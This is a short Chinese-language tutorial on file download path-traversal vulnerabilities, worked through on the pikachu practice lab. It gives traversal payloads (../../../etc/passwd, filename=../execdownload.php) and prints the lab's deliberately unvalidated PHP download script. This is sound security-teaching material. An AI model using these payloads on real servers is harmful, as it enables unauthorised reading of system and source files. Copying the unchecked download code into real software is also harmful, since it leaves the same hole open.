WebSec-Filedownload

1. Filedownload

如果后台在收到下载请求的文件名后, 与路径直接拼接，而不进行安全判断，则可能导致文件下载漏洞。比如../../../etc/passwd

再次强调，所有与前端交互的数据都是不安全的。

2. 靶场练习

2.1 pikachu

Unsafe Filedownload

下载一下科比照片：

GET /pk/vul/unsafedownload/execdownload.php?filename=kb.png HTTP/1.1

改下文件名，就能把源码下载下来了：

filename=../execdownload.php 

看下源码：

<?php


$PIKA_ROOT_DIR =  "../../";

include_once $PIKA_ROOT_DIR."inc/function.php";

header("Content-type:text/html;charset=utf-8");
// $file_name="cookie.jpg";
$file_path="download/{$_GET['filename']}";
//用以解决中文不能显示出来的问题
$file_path=iconv("utf-8","gb2312",$file_path);

//首先要判断给定的文件存在与否
if(!file_exists($file_path)){
    skip("你要下载的文件不存在，请重新下载", 'unsafe_down.php');
    return ;
}
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
//下载文件需要用到的头
ob_clean();//输出前一定要clean一下，否则图片打不开
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count=0;
//向浏览器返回数据

//循环读取文件流,然后返回到浏览器feof确认是否到EOF
while(!feof($fp) && $file_count<$file_size){

    $file_con=fread($fp,$buffer);
    $file_count+=$buffer;

    echo $file_con;
}
fclose($fp);
?>